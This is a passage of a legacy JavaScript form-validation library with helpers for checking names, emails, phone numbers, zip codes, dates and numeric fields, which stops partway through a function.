/*
1. Removing spaces form both sides.
	checkTrim(txtString)
2. Validation for field which should not be empty
	isEmpty(fieldname,fieldvalue)
3. Validation for field which can contain only alphanumeric value
	hasOnlyAlphaNumeric(fieldname , fieldvalue)
4. Validation for field which cannot contain Space inbetween.
	isSpace(fieldname , fieldvalue)
5. Validation for field which cannot start with number
	isStartsWithNumber(fieldname , fieldvalue)
6. Validation for field which can allow only alphabets
	hasOnlyAlphabets(fieldname ,fieldvalue)
7. Validation for field which allows only numbers
	 hasOnlyNumeric(fieldname , fieldvalue)
8.  Validation for length of the field
	isTooLong(fieldName,checkStr,length)
9.  Check for Valid Email.
	emailCheck (emailStr) 
10.Validation for two field to be same 			
	isDuplicate(firstValue,SecondValue)
11.	returns true if it is a valid phone Number
	 isValidPhoneNO(fieldname , fieldvalue)
12.	returns true if it is a valid Float Value 
	 isFloat(fieldname , fieldvalue)
13.returns true if it is a valid Date
	validateDate(startDate,EndDate) 
14.Validation for special characters like < and >.
	isValid(fieldname , fieldvalue)

*/


function isValidYear(fieldName,year){
	var currentDate = new Date();
	var currentYear = currentDate.getYear();
	if(currentYear > year){
			alert("Birth Year Has To Be Smaller Than Current Year");
			return false;
	}
	return true;
}
function getSelectedCount(frm, FieldID, FieldType)
{
	var total = 0;
	
	for(var i = 0; i < frm.length; i++) {
		var element = frm.elements[i];
		var type = element.type;
		var id = element.id;
		if(type == FieldType && id == FieldID && element.checked == true) {
			total = parseInt(total) + 1;
		}
	}
	
	total = parseInt(total);
	return total;
}
function checkTrim(txtString)
{
	txtString = LTrim(txtString);
	txtString = RTrim(txtString);
	return txtString;
}

//returns the string after deleting  the trailing spaces
function LTrim(txtString) 
{
	ctr = 0;
	while( ctr < txtString.length && (txtString.substring(ctr,ctr+1) == " "))
	{
		ctr=ctr+1;
	}
	return txtString.substring(ctr);
}
// returns the string after deleting the leading spaces
function RTrim(txtString) 
{
	ctr = txtString.length;
	while( ctr > 0  && (txtString.substring(ctr,ctr-1) == " "))
	{
		ctr = ctr - 1;
	}
	return txtString.substring(0,ctr);
}
//Validation for field which should not be empty
function isEmpty(fieldname,fieldvalue){	
	var re = /\s/g; //Match any white space including space, tab, form-feed, etc. 
	var str = fieldvalue.replace(re, "");
	if (str.length == 0) {
		alert(fieldname + ' cannot be blank ');
		return true
	} 
	else {
		return false
	}
	
	
}

function hasOnlyAlphaNumericwithDot(fieldname , fieldvalue)
{
	var str = fieldvalue;
	i = 0;
	while(i < str.length)
	{
		if(!(((str.charAt(i) >= 'a') && (str.charAt(i) <= 'z'))||((str.charAt(i) >= "0") && (str.charAt(i) <= "9"))|| ((str.charAt(i) >= 'A') && (str.charAt(i) <= 'Z') )||(str.charAt(i) == '.')||(str.charAt(i) <= ' ')))
		{
			alert(fieldname+' contains only alphanumeric values \n\nValid Characters :(A to Z),(a to z) and (0 to 9) ');
			return false;
		}
		i++;
	}
	return true;
}
//Validation for field which can contain only alphanumeric value
function hasOnlyAlphaNumeric(fieldname , fieldvalue)
{
	var str = fieldvalue;
	i = 0;
	while(i < str.length)
	{
		if(!(((str.charAt(i) >= 'a') && (str.charAt(i) <= 'z'))||((str.charAt(i) >= "0") && (str.charAt(i) <= "9"))|| ((str.charAt(i) >= 'A') && (str.charAt(i) <= 'Z') )||(str.charAt(i) <= ' ')))
		{
			alert(fieldname+' contains only alphanumeric values \n\nValid Characters :(A to Z),(a to z) and (0 to 9) ');
			return false;
		}
		i++;
	}
	return true;
}



function hasOnlyAlphaNumericWithSymbol(fieldname , fieldvalue)
{
	var str = fieldvalue;
	i = 0;
	while(i < str.length)
	{
		if(!(((str.charAt(i) >= 'a') && (str.charAt(i) <= 'z'))||(str.charAt(i) <= '@')||((str.charAt(i) >= "0") && (str.charAt(i) <= "9"))|| ((str.charAt(i) >= 'A') && (str.charAt(i) <= 'Z') )||(str.charAt(i) <= ' ')))
		{
			alert(fieldname+' contains only alphanumeric values \n\nValid Characters :(A to Z),(a to z) and (0 to 9) and @');
			return false;
		}
		i++;
	}
	return true;
}
function validateCompanyName(fieldname, frmField) {
	var fieldString = checkTrim(frmField.value);
	var checkString = "~!%^*+=?><,;#|\/:";
	
	for(i=0;i<fieldString.length;i++) {
		for(j=0;j<checkString.length;j++) {
		   	if(fieldString.charAt(i) == checkString.charAt(j)) {
		   		alert('Invalid '+fieldname+'');
    	   		return false;
			}
	   }
	}
	return true;
}//end of validateEmail
//Email Validation
function validateEmailID(fieldname, frmField) {
    //Validating the email field
    //return isValid(fieldname, frmField);
	var fieldString = checkTrim(frmField.value);
	var checkString = " ~!$%^*()+=?><,;#&|\/:";
	
	for(i=0;i<fieldString.length;i++) {
		for(j=0;j<checkString.length;j++) {
		   	if(fieldString.charAt(i) == checkString.charAt(j)) {
		   		alert('Invalid '+fieldname+'');
    	   		return false;
			}
	   }
	}
	return true;
}//end of validateEmail
//Phone Validation
function validatePhone(fieldname, frmField) {
    //Validating the Phone field
    //return isValid(fieldname, frmField);
	var fieldString = checkTrim(frmField.value);
	var checkString = " ~!$%^*@+=?><,;&|\/:";
	
	for(i=0;i<fieldString.length;i++) {
		for(j=0;j<checkString.length;j++) {
		   	if(fieldString.charAt(i) == checkString.charAt(j)) {
		   		alert('Invalid '+fieldname+'');
    	   		return false;
			}
	   }
	}
	return true;
}//end of validateEmail
function validateFax(fieldname, frmField) {
    //Validating the Phone field
    //return isValid(fieldname, frmField);
	var fieldString = checkTrim(frmField.value);
	var checkString = " ~!$%^*@+=?><,#&|\/:";
	
	for(i=0;i<fieldString.length;i++) {
		for(j=0;j<checkString.length;j++) {
		   	if(fieldString.charAt(i) == checkString.charAt(j)) {
		   		alert('Invalid '+fieldname+'');
    	   		return false;
			}
	   }
	}
	return true;
}//end of validateEmail
function validateStreet(fieldname, frmField) {
    //Validating the Phone field
    //return isValid(fieldname, frmField);
	var fieldString = checkTrim(frmField.value);
	var checkString = "~!$%^*@+=?><;&|";
	
	for(i=0;i<fieldString.length;i++) {
		for(j=0;j<checkString.length;j++) {
		   	if(fieldString.charAt(i) == checkString.charAt(j)) {
		   		alert('Invalid '+fieldname+'');
    	   		return false;
			}
	   }
	}
	return true;
}//end of validateEmail
function validateZipCode(fieldname,frmField) {
    //Validating the Phone field
    //return isValid(fieldname, frmField);
	
	var fieldString = checkTrim(frmField.value);
	var checkString = " ~!$%^*@+=?><,";
	
	for(i=0;i<fieldString.length;i++) {
		for(j=0;j<checkString.length;j++) {
		   	if(fieldString.charAt(i) == checkString.charAt(j)) {
		   		alert('Invalid '+fieldname+'');
    	   		return false;
			}
	   }
	}
	return true;
}//end of validateEmail
function hasValidCharacter(fieldname , fieldvalue)
{
	var str = fieldvalue;
	i = 0;
	while(i < str.length)
	{
		if(!(((str.charAt(i) >= 'a') && (str.charAt(i) <= 'z'))||((str.charAt(i) >= "0") && (str.charAt(i) <= "9"))|| ((str.charAt(i) >= 'A') && (str.charAt(i) <= 'Z') )))
		{
			alert(fieldname+' contains only alphanumeric values \n\nValid Characters :(A to Z),(a to z) and (1 to 9) ');
			return false;
		}
		i++;
	}
	return true;
}
function hasValidRemarks(fieldname , fieldvalue)
{
	var str = fieldvalue;
	i = 0;
	while(i < str.length)
	{
		if(!(((str.charAt(i) >= 'a') && (str.charAt(i) <= 'z'))||((str.charAt(i) >= "0") && (str.charAt(i) <= "9"))|| ((str.charAt(i) >= 'A') && (str.charAt(i) <= 'Z') )||(str.charAt(i) == ' ')||(str.charAt(i) == '-')||(str.charAt(i) == '(')||(str.charAt(i) == ')')))
		{
			alert(fieldname+' contains only alphanumeric values \n\nValid Characters :(A to Z),(a to z),(" "),(-),("("),(")") and (1 to 9) ');
			return false;
		}
		i++;
	}
	return true;
}
//Validation for field which cannot contain Space inbetween.
function isSpace(fieldname , fieldvalue)
{
	var str=fieldvalue
	if((str).indexOf(" ")!=-1)
	{
		alert(' Space is not allowed in '+fieldname);
		return false;
	}
	return true;
}
//Validation for field which cannot start with number
function isStartsWithNumber(fieldname , fieldvalue)
{
	var numbers = "0123456789";
	startsWithNumber=false;
	var str = checkTrim(fieldvalue)
	for(i=0;i<numbers.length;i++)
	{	
	   if(str.charAt(0)==numbers.charAt(i))
	   {
	   alert(fieldname+' cannot start with number');
       return false;
	   }
	}
	return true;
}
//Validation for field which can allow only alphabets
function hasOnlyAlphabets(fieldname , fieldvalue)
{
	var str = fieldvalue;
	i = 0;
	while(i < str.length)
	{
		if(!(((str.charAt(i) >= 'a') && (str.charAt(i) <= 'z'))||((str.charAt(i) >= 'A') && (str.charAt(i) <= 'Z'))))
		{
			alert(fieldname+' can contain only alphabets\n\nValid Characters :(A to Z),(a to z) ');
			return false;
		}
		i++;
	}
	return true;
}
//Validation for field which allows only numbers
function hasOnlyNumeric(fieldname , fieldvalue)
{
	var str = fieldvalue;
	var i = 0;
	while(i < str.length)
	{
		if(!((str.charAt(i) >= "0") && (str.charAt(i) <= "9")))
		{
			//alert(fieldname+' can contain only numeric value');
			return false;
		} else {
			i = i + 1;
		}
	}
	return true;
}


	function hasOnlyNumericAndSpecificChar(fieldname , fieldvalue) {
		var str = fieldvalue;
		i = 0;
		while(i < str.length) {
			if(!((str.charAt(i) >= "0") && (str.charAt(i) <= "9") || (str.charAt(i) == "-") || (str.charAt(i) == " ") || (str.charAt(i) == ",") ) ) {
				alert(fieldname+' can contain only numeric value,whitespace and hyphen');
				return false;
			}
			i++;
		}
		return true;
	}

	function hasOnlyNumericAndComma(fieldname , fieldvalue) {
		var str = fieldvalue;
		i = 0;
		while(i < str.length) {
			if(!((str.charAt(i) >= "0") && (str.charAt(i) <= "9") || (str.charAt(i) == ",") ) ) {
				alert(fieldname+' can contain only numeric value and comma');
				return false;
			}
			i++;
		}
		return true;
	}

	
	function hasOnlyAlphabetsAndSpecificChar(fieldname , fieldvalue) {
		var str = fieldvalue;
		i = 0;
		while(i < str.length) {
			if(!(((str.charAt(i) >= 'a') && (str.charAt(i) <= 'z'))||((str.charAt(i) >= 'A') && (str.charAt(i) <= 'Z') || (str.charAt(i) == " ") || (str.charAt(i) == "-") || (str.charAt(i) == "_") || (str.charAt(i) == ",") || (str.charAt(i) == ".") || (str.charAt(i) == "'") || (str.charAt(i) >= "0") && (str.charAt(i) <= "9")))) {
				alert(fieldname+' can contain only alphabets\n\nValid Characters :(A to Z),(a to z),whitespace and hyphen ');
				return false;
			}
			i++;
		}
		return true;
	}
	
	function validateFileName(fieldname , fieldvalue) {
		var str = fieldvalue;
		i = 0;
		while(i < str.length) {
			if((str.charAt(i) == ">") || (str.charAt(i) == "<")) {
				alert('Invalid '+fieldname);
				//alert(fieldname+' can contain only alphabets\n\nValid Characters :(A to Z),(a to z),whitespace and hyphen ');
				return false;
			}
			i++;
		}
		return true;
	}

	function hasOnlySpecificChar(fieldObj, validChars, alertMsg) {
		var str = fieldObj.value;
		i = 0;
		
		while(i < str.length) {
			n = 0;
			while (n < validChars.length) {
				if(str.charAt(i) == validChars.charAt(n)) {
					break;
				}
				n++;				
			}
			if (n == validChars.length) {
				alert(alertMsg);
				return false;
			}
			i++;
		}
		return true;
	}


//Validation for field which allows only numbers
// Updated by Neha
function isFloat(fieldname , fieldvalue)
{
	var str = fieldvalue;
	var str1;
	i = 0;
	j=0;
	if(str.charAt(0)==".")
	{
		alert(fieldname+' is not valid\n\n e.g 57.55');
		return false;
	}
	while(i < str.length)
	{
		if((!((str.charAt(i) >= "0") && (str.charAt(i) <= "9"))) && (str.charAt(i) != "."))
		{
			alert(fieldname+' is not valid\n\n e.g 57.55');
			return false;
		}
		if(str.charAt(i) == ".")
			j++;
		i++;
	}
	if(j>1)
	{
		alert(fieldname+' is not valid\n\n e.g 57.55');
		return false;
	}
	if(str.indexOf('.')>=0)
	{
		str1=str.substring(str.indexOf('.'),str.length-1);
		if(str1.length>2)
		{
			alert(fieldname+' is not valid\n\nOnly 2 digits allowed after the decimal');
			return false;
		}
	}
	return true;
}


//Validation for length of the field
function isTooLong(fieldName,checkStr,length)
{
	checkStr = checkTrim(checkStr);
	if((checkStr.length)>length)
	{
		alert (fieldName+' cannot exceed ' + length + ' character');
		return false; // false if the length exceeds
	}
	else 
		return true;  // else true
}


//Check for Valid Email.
function emailCheck (emailStr) {
/* The following pattern is used to check if the entered e-mail address
   fits the user@domain format.  It also is used to separate the username
   from the domain. */
var emailPat=/^(.+)@(.+)$/
/* The following string represents the pattern for matching all special
   characters.  We don't want to allow special characters in the address. 
   These characters include ( ) < > @ , ; : \ " . [ ]    */
var specialChars="\\(\\)<>@,;:\\\\\\\"\\.\\[\\]"
/* The following string represents the range of characters allowed in a 
   username or domainname.  It really states which chars aren't allowed. */
var validChars="\[^\\s" + specialChars + "\]"
/* The following pattern applies if the "user" is a quoted string (in
   which case, there are no rules about which characters are allowed
   and which aren't; anything goes).  E.g. "jiminy cricket"@disney.com
   is a legal e-mail address. */
var quotedUser="(\"[^\"]*\")"
/* The following pattern applies for domains that are IP addresses,
   rather than symbolic names.  E.g. joe@[123.124.233.4] is a legal
   e-mail address. NOTE: The square brackets are required. */
var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/
/* The following string represents an atom (basically a series of
   non-special characters.) */
var atom=validChars + '+'
/* The following string represents one word in the typical username.
   For example, in john.doe@somewhere.com, john and doe are words.
   Basically, a word is either an atom or quoted string. */
var word="(" + atom + "|" + quotedUser + ")"
// The following pattern describes the structure of the user
var userPat=new RegExp("^" + word + "(\\." + word + ")*$")
/* The following pattern describes the structure of a normal symbolic
   domain, as opposed to ipDomainPat, shown above. */
var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$")


/* Finally, let's start trying to figure out if the supplied address is
   valid. */

/* Begin with the coarse pattern to simply break up user@domain into
   different pieces that are easy to analyze. */
   
var matchArray=emailStr.match(emailPat) 
if (matchArray==null) {
  /* Too many/few @'s or something; basically, this address doesn't
     even fit the general mould of a valid e-mail address. */
	alert("Email address seems incorrect (check @ and .'s)")
	return false
}
var user=matchArray[1]
var domain=matchArray[2]

// See if "user" is valid 
if (user.match(userPat)==null) {
    // user is not valid
    alert("Email address seems incorrect\n(The username doesn't seem to be valid)")
    return false
}

/* if the e-mail address is at an IP address (as opposed to a symbolic
   host name) make sure the IP address is valid. */
var IPArray=domain.match(ipDomainPat) 
if (IPArray!=null) {
    // this is an IP address
	  for (var i=1;i<=4;i++) {
	    if (IPArray[i]>255) {
	        alert("Email address seems incorrect\n(Destination IP address is invalid)")
		return false
	    }
    }
    return true
}

// Domain is symbolic name 
var domainArray=domain.match(domainPat)
if (domainArray==null) {
	alert("Email address seems incorrect\n(The domain name doesn't seem to be valid)")
    return false
}

/* domain name seems valid, but now make sure that it ends in a
   three-letter word (like com, edu, gov) or a two-letter word,
   representing country (uk, nl), and that there's a hostname preceding 
   the domain or country. */

/* Now we need to break up the domain to get a count of how many atoms
   it consists of. */
var atomPat=new RegExp(atom,"g")
var domArr=domain.match(atomPat)
var len=domArr.length
if (domArr[domArr.length-1].length<2 || 
    domArr[domArr.length-1].length>3) {
   // the address must end in a two letter or three letter word.
   alert("Email address seems incorrect\n(The address must end in a three-letter domain, or two letter country)")
   return false
}

// Make sure there's a host name preceding the domain.
if (len<2) {
   var errStr="Email address seems incorrect\n(This address is missing a hostname)"
   alert(errStr)
   return false 
}

// If we've gotten this far, everything's valid!
return true;
}

//Validation for two field to be same 			
function isDuplicate(firstValue,SecondValue)
{
	if(firstValue==SecondValue)
		return true;
	else
		return false;
}
//returns true if it is a valid phone Number
function isValidPhoneNO(fieldname , fieldvalue)
{
	
	var str = fieldvalue;
  var checkOK = "0123456789-";
  var checkStr = checkTrim(str);
  var allValid = true;
  var allNum = "";
  for (i = 0;  i < checkStr.length;  i++)
  {
    ch = checkStr.charAt(i);
    for (j = 0;  j < checkOK.length;  j++)
      if (ch == checkOK.charAt(j))
        break;
    if (j == checkOK.length)
    {
      allValid = false;
      break;
    }
    if (ch != ",")
      allNum += ch;
  }
  if (allValid)
      return (true);
  else
  alert('Please enter valid '+fieldname +'\n\n e.g. XXX-XXX-XXXX');
  	  return (false);
}

function check_usphone(phonenumber,useareacode) 
{ 
if(!useareacode)useareacode=1; 
if((phonenumber.match(/^[ ]*[(]{0,1}[ ]*[0-9]{3,3}[ ]*[)]{0,1}[-]{0,1}[ ]*[0-9]{3,3}[ ]*[-]{0,1}[ ]*[0-9]{4,4}[ ]*$/)==null) && ((useareacode!=1) && (phonenumber.match(/^[ ]*[0-9]{3,3}[ ]*[-]{0,1}[ ]*[0-9]{4,4}[ ]*$/)==null))) return false; 
return true; 
} 


//Validation for field which can contain only alphanumeric value and not allow space
function isValidID(fieldname , fieldvalue)
{
	var str = fieldvalue;
	i = 0;
	while(i < str.length)
	{
		if(!(((str.charAt(i) >= 'a') && (str.charAt(i) <= 'z'))||((str.charAt(i) >= "0") && (str.charAt(i) <= "9"))|| ((str.charAt(i) >= 'A') && (str.charAt(i) <= 'Z') )))
		{
			alert(fieldname+' contains only alphanumeric values(without whitespace) \n\nValid Characters :(A to Z),(a to z) and (1 to 9) ');
			return false;
		}
		i++;
	}
	return true;
}
function validateSingleDate(dtDate)
{
	if(dtDate=="")
	{
		alert("Date cannot be empty");
		return false;
	}
	var month;
	var dat;
	var year;
	var firstIndex;
	var secIndex;
	var str = dtDate;
	var i = 0;
	var count=0;
	
	if(str.charAt(0)=="0" && str.charAt(1)=="0")
	{
		alert("Please enter valid Month");
		return false;
	}
	if(str.charAt(3)=="0" && str.charAt(4)=="0")
	{
		alert("Please enter valid Date");
		return false;
	}
	if(str.charAt(6)=="0" && str.charAt(7)=="0" && str.charAt(8)=="0" && str.charAt(9)=="0")
	{
		alert("Please enter valid Year");
		return false;
	}
	if(str.charAt(2)!="/")
	{
		alert("Please enter valid Date (e.g. 02/07/2002)");
		return false;
	}
	
	if(str.charAt(5)!="/")
	{
		alert("Please enter valid Date (e.g. 02/07/2002)");
		return false;
	}
	while(i < str.length)
	{
		if(!(((str.charAt(i) >= "0") && (str.charAt(i) <= "9"))|| (str.charAt(i) == '/')))
		{
			alert("Please enter valid Date (e.g. 12/27/2002)");
			return false;
		}
		else
		{
			if(str.charAt(i) == '/')
			count=count+1;
		}
		i++;
	}
	if(count>2)
	{
		alert("Please enter valid Date (e.g. 12/27/2002)");
		return false;
	}
	month=dtDate.substring(0,2);
	dat=dtDate.substring(3,5);
	year=dtDate.substring(6,10);
	if(month>12)
	{
		alert("Please enter valid Date (e.g. 12/27/2002)");
		return false;
	}
	if(month==1 || month==3 ||month==5||month==7||month==8||month==10||month==12)
	{
		if(dat>31)
		{
			alert("Please enter valid Date (e.g. 12/27/2002)");
			return false;
		}
	}
	if(month==2 || month==4 ||month==6||month==9||month==11)
	{
		if(dat>30)
		{
			alert("Please enter valid Date (e.g. 12/27/2002)");
			return false;
		}
	}
	if((year%4==0 && year%100!=0) || year%400==0)
	{
		if(month==2)
		{
			if(dat>29)
			{
				alert("Please enter valid Date (e.g. 12/27/2002)");
				return false;
			}
		}
	}
	else
	{
		if(month==2)
		{
			if(dat>28)
			{
				alert("Please enter valid Date (e.g. 12/27/2002)");
				return false;
			}	
		}
	}
	if(year < 1900 || year > 2050)
	{
		alert("Please enter year between 1900 and 2050");
		return false;
	}
	return true;
}
function validateDate(startDate,endDate)
{
	
	var TodayDate
	var stDate
	TodayDate = new Date()
	stDate = new Date(startDate)
	enDate = new Date(endDate)
			
	if (TodayDate < stDate)
	{
		alert("From Date cannot be the future date")
		return false;
	}
	if (TodayDate < enDate)
	{
		alert("To Date cannot be the future date")
		return false;
	}
	if (enDate < stDate)
	{
		alert("Invalid Date range selection");
		return false;
	}
	return true;
}

	function isDateBefore(date1Name,date1Value,date2Name,date2Value)
	{
		//check that the renew date is not lesser than the date rented
		var vDate1 = convertStringToDate(date1Value,5);
		var vDate2= convertStringToDate(date2Value,5);
		
		if(vDate1<vDate2)
		{
			alert(date1Name+" cannot be earlier than the "+date2Name+".");
			return false;
		}
		return true;
	}
	function isDateAfter(date1Name,date1Value,date2Name,date2Value)
	{
		//check that the renew date is not lesser than the date rented
		var vDate1 = convertStringToDate(date1Value,5);
		var vDate2= convertStringToDate(date2Value,5);
		
		if(vDate1>vDate2)
		{
			alert(date1Name+" cannot be later than the "+date2Name+".");
			return false;
		}
		return true;
	}

//Validation for field which cannot contains symebol
function isValidString(fieldname , fieldvalue)
{
	var fieldString = checkTrim(fieldvalue);
	var checkString = '~!@$%^*()-+=?><"';
	
	for(i=0;i<fieldString.length;i++) {
		for(j=0;j<checkString.length;j++) {
		   	if(fieldString.charAt(i) == checkString.charAt(j)) {
		   		alert('Invalid '+fieldname+'');
    	   		return false;
			}
	   }
	}
	return true;
}


//Validation for field which contains file name
function isValidFileName(fieldname , fieldvalue)
{
	var fieldString = checkTrim(fieldvalue);
	var checkString = "\"~!@#$%^&*()+=|[]{}?><,:;'/\\";
	
	for(i=0;i<fieldString.length;i++) {
		for(j=0;j<checkString.length;j++) {
		   	if(fieldString.charAt(i) == checkString.charAt(j)) {
		   		alert('Invalid '+fieldname+'');
    	   		return false;
			}
	   }
	}
	return true;
}

/*
//Validation for field which can not allow < and >.
function isValidSSN(ssn)
{
	var matchArr = ssn.match(/^(\d{3})?\d{2}?\d{4}$/); 
	var numDashes = ssn.split('-').length - 1;
	if (matchArr == null || numDashes == 1) 
	{   
		alert('Invalid SSN. Must be 9 digits'); 
		msg = "does not appear to be valid";
		return false; 
	}
	else if (parseInt(matchArr[1],10)==0) 
	{ 
		alert("Invalid SSN: SSN's can't start with 000.");
		msg = "does not appear to be valid";
		return false;
	}
	
	return true;
}//end of function isValidSSN
*/
function isValidZipCode(field) 
{
	var valid = "0123456789-";
	var hyphencount = 0;
	if (field.length!=5 && field.length!=10) 
	{
		alert("Please enter your 5 digit or 5 digit+4 zip code."); 
		return false;
	}
	for (var i=0; i < field.length; i++) 
	{
		temp = "" + field.substring(i, i+1);
		if (temp == "-") hyphencount++;
		if (valid.indexOf(temp) == "-1") 
		{ 
			alert("Invalid characters in your zip code.  Please try again.");
			return false;
		}
		if ((hyphencount > 1) || ((field.length==10) && ""+field.charAt(5)!="-")) 
		{
			alert("The hyphen character should be used with a properly formatted 5 digit+four zip code, like '12345-6789'.   Please try again.");
			return false;
		}
	}//end of for
	return true;
}

//Validation for field which allows only numbers
function isValidNumeric(fieldvalue)
{
	var str = fieldvalue;
	i = 0;
	while(i < str.length)
	{
		if(!((str.charAt(i) >= "0") && (str.charAt(i) <= "9")))
		{
			return false;
		}
		i++;
	}
	return true;
}

	function isValidCreditCardNo(fieldName, fieldObj) {
		if (! checkTextData(fieldName, fieldObj, true, false, true, false, false, false, false)) return false;
		
		var cardNoLen = fieldObj.value.length;
		
		if (! (cardNoLen == 15 || cardNoLen == 16)) {
			alert("Invalid "+fieldName);
			fieldObj.focus();
			return false;
		}
		return true;
	}

	function checkRadioCheckBox(fieldName, fieldObj) {
		var checked = false;
		//alert(fieldObj.length);
		if (fieldObj.length) {
			for(i = 0; i < fieldObj.length; i++) {
				//alert("in for");
				if (fieldObj[i].checked) {
					//alert(fieldObj[i].value);
					checked = true;
					break;
				}
			}
		}
		else {
			if (fieldObj.checked) {
				//alert(fieldObj[i].value);
				checked = true;				
			}
		}
		
		if (! checked) {
			alert(fieldName+" must be specified");
			//fieldObj[0].focus();
			return false;
		}
		
		return checked;
	}

	/*
	IMPORTANT: validChars and specAlertMsg will only used when chkSpecific is true.
	*/
	function checkTextData(fieldName, fieldObj, chkEmpty, chkAlpha, chkNum, chkAlphaNum, chkAlphaSpec, chkNumSpec, chkNumComma, chkSpecific, validChars, specAlertMsg) {
		if (chkEmpty) {
			if(isEmpty(fieldName, fieldObj.value)){
				fieldObj.focus();
				return false;
			}
		}

		if (chkAlpha) {
			if(! hasOnlyAlphabets(fieldName , fieldObj.value)){
				fieldObj.focus();
				return false;
			}
		}

		if (chkNum) {
			if(!hasOnlyNumeric(fieldName, fieldObj.value)) {
				fieldObj.focus();
				return false;
			}
		}

/*
		// not required yet. Uncomment and populate when required. 
		if (chkAlphaNum) {
		
		}
*/

		if (chkAlphaSpec) {
			if(!hasOnlyAlphabetsAndSpecificChar(fieldName, fieldObj.value)) {
				fieldObj.focus();
				return false;
			}
		}
		
		
		if (chkNumSpec) {
			if(!hasOnlyNumericAndSpecificChar(fieldName, fieldObj.value)) {
				fieldObj.focus();
				return false;
			}
		}

		if (chkNumComma) {
			if(!hasOnlyNumericAndComma(fieldName, fieldObj.value)) {
				fieldObj.focus();
				return false;
			}
		}

		if (chkSpecific) {
			if(!hasOnlySpecificChar(fieldObj, validChars, specAlertMsg)) {
				fieldObj.focus();
				return false;
			}
		}
		
		return true;
	}



	//Functions added by Hetal for rental transactions pages. For date caclulations
	function addDays(myDate,days) 
	{
		return new Date(myDate.getTime() + days*24*60*60*1000);
	}
	
	function addMonths(myDate,months) 
	{
		myDate.setMonth(myDate.getMonth() + months)
		return myDate ;
	}
	function convertStringToDate(vDate,vType)
	{
		/*
		   vDate is a date passed as a string in the following
		   formats:

		   type 1 : 19970529
		   type 2 : 970529
		   type 3 : 29/05/1997
		   type 4 : 05/29/97
		   type 5 : 05/29/1997

		   vType is a numeric integer from 1 to 4, representing
		   the type of dateString passed, as defined above.

		*/
		if (vType == 1)
		{
			var dNewDate = new Date(vDate.substring(0,4),
			vDate.substring(4,6)-1,
			vDate.substring(6,8));
			return dNewDate;
		}
		else if (vType == 2)
		{
			var dNewDate = new Date(vDate.substring(0,2),
			vDate.substring(2,4)-1,
			vDate.substring(4,6));
			return dNewDate;
		}
		else if (vType == 3)
		{
			var dNewDate = new Date(vDate.substring(6,10),
			vDate.substring(3,5)-1,
			vDate.substring(0,2));
			return dNewDate;
		}//end of else if
		else if (vType == 4)
		{
			var dNewDate = new Date(vDate.substring(6,8),
			vDate.substring(0,2)-1,
			vDate.substring(3,5));
			return dNewDate;
		}
		else if (vType == 5)
		{
			var dNewDate = new Date(vDate.substring(6,10),
			vDate.substring(0,2)-1,
			vDate.substring(3,5));
			return dNewDate;
		}
		else
			return '';
		
	}//end of function convertStringToDate;
	
	function getDateDiff(dFrom,dTo) 
	{
		/*
		   function getDateDiff
		   parameters: dateString dateType
		   returns: boolean
		   Returns string containing the age in years, months and days
		   in the format yyy years mm months dd days.
		   Returns empty string if dateType is not one of the expected
		   values.
		*/
		
		var yearDob = dFrom.getYear();
		var monthDob = dFrom.getMonth();
		var dateDob = dFrom.getDate();

		var yearNow = dTo.getYear();
		var monthNow = dTo.getMonth();
		var dateNow = dTo.getDate();
		
		yearAge = yearNow - yearDob;

		if (monthNow >= monthDob)
			var monthAge = monthNow - monthDob;
		else {
			yearAge--;
			var monthAge = 12 + monthNow -monthDob;
		}

		if (dateNow >= dateDob)
			var dateAge = dateNow - dateDob;
		else {
			monthAge--;
			var dateAge = 31 + dateNow - dateDob;

			if (monthAge < 0) {
				monthAge = 11;
				yearAge--; 
			}
		}
		monthAge = monthAge + (yearAge*12);
		return monthAge + '/' + dateAge;
	}

	function y2k(number) 
	{ 
		return (number < 1000) ? number + 1900 : number; 
	}
	
	function daysElapsed(date1,date2) {
		var difference =
			Date.UTC(y2k(date1.getYear()),date1.getMonth(),date1.getDate(),0,0,0)
		  - Date.UTC(y2k(date2.getYear()),date2.getMonth(),date2.getDate(),0,0,0);
		return difference/1000/60/60/24;
	}
	//rounding the numbers
function round (n, d) {
  n = n - 0; // force number
  if (d == null) d = 2;
  var f = Math.pow(10, d);
  n += Math.pow(10, - (d + 1)); // round first
  n = Math.round(n * f) / f;
  n += Math.pow(10, - (d + 1)); // and again
  n += ''; // force string
  return d == 0 ? n.substring(0, n.indexOf('.')) :
	  n.substring(0, n.indexOf('.') + d + 1);
}
	
	//Added by hetal : for US PHone validation
	// Declaring required variables
	var digits = "0123456789";
	// non-digit characters which are allowed in phone numbers
	var phoneNumberDelimiters = "-";
	// characters which are allowed in international phone numbers
	// (a leading + is OK)
	var validWorldPhoneChars = phoneNumberDelimiters ;
	// Minimum no of digits in an international phone no.
	var minDigitsInIPhoneNumber = 10;
	
	function isInteger(s)
	{   var i;
	    for (i = 0; i < s.length; i++)
	    {   
	        // Check that current character is number.
	        var c = s.charAt(i);
	        if (((c < "0") || (c > "9"))) return false;
	    }
	    // All characters are numbers.
	    return true;
	}
	
	function stripCharsInBag(s, bag)
	{   var i;
	    var returnString = "";
	    // Search through string's characters one by one.
	    // If character is not in bag, append to returnString.
	    for (i = 0; i < s.length; i++)
	    {   
	        // Check that current character isn't whitespace.
	        var c = s.charAt(i);
	        if (bag.indexOf(c) == -1) returnString += c;
	    }
	    return returnString;
	}
	
	function checkUSPhone(strPhone)
	{
	s=stripCharsInBag(strPhone,validWorldPhoneChars);
	return (isInteger(s) && s.length >= minDigitsInIPhoneNumber);
	}

	//Date Validation
	//Added By :Hetal
	/**********************************************************************/ 
  /*Function name :isDigit(theDigit) */ 
  /*Usage of this function :test for an digit */ 
  /*Input parameter required:thedata=string for test whether is digit */ 
  /*Return value :if is digit,return true */ 
  /* else return false */ 
  /**********************************************************************/ 
	
  function isDigit(theDigit) 
  { 
	  var digitArray = new Array('0','1','2','3','4','5','6','7','8','9'),j; 
		
	  for (j = 0; j < digitArray.length; j++) 
	  {
		  if (theDigit == digitArray[j]) 
		  return true 
	  } 
	  return false 
		
  } 
	
  /*************************************************************************/ 
  /*Function name :isPositiveInteger(theString) */ 
  /*Usage of this function :test for an +ve integer */ 
  /*Input parameter required:thedata=string for test whether is +ve integer*/ 
  /*Return value :if is +ve integer,return true */ 
  /* else return false */ 
  /*function require :isDigit */ 
  /*************************************************************************/ 
  function isPositiveInteger(theString) 
  { 
	  var theData = new String(theString) 
		
	  if (!isDigit(theData.charAt(0))) 
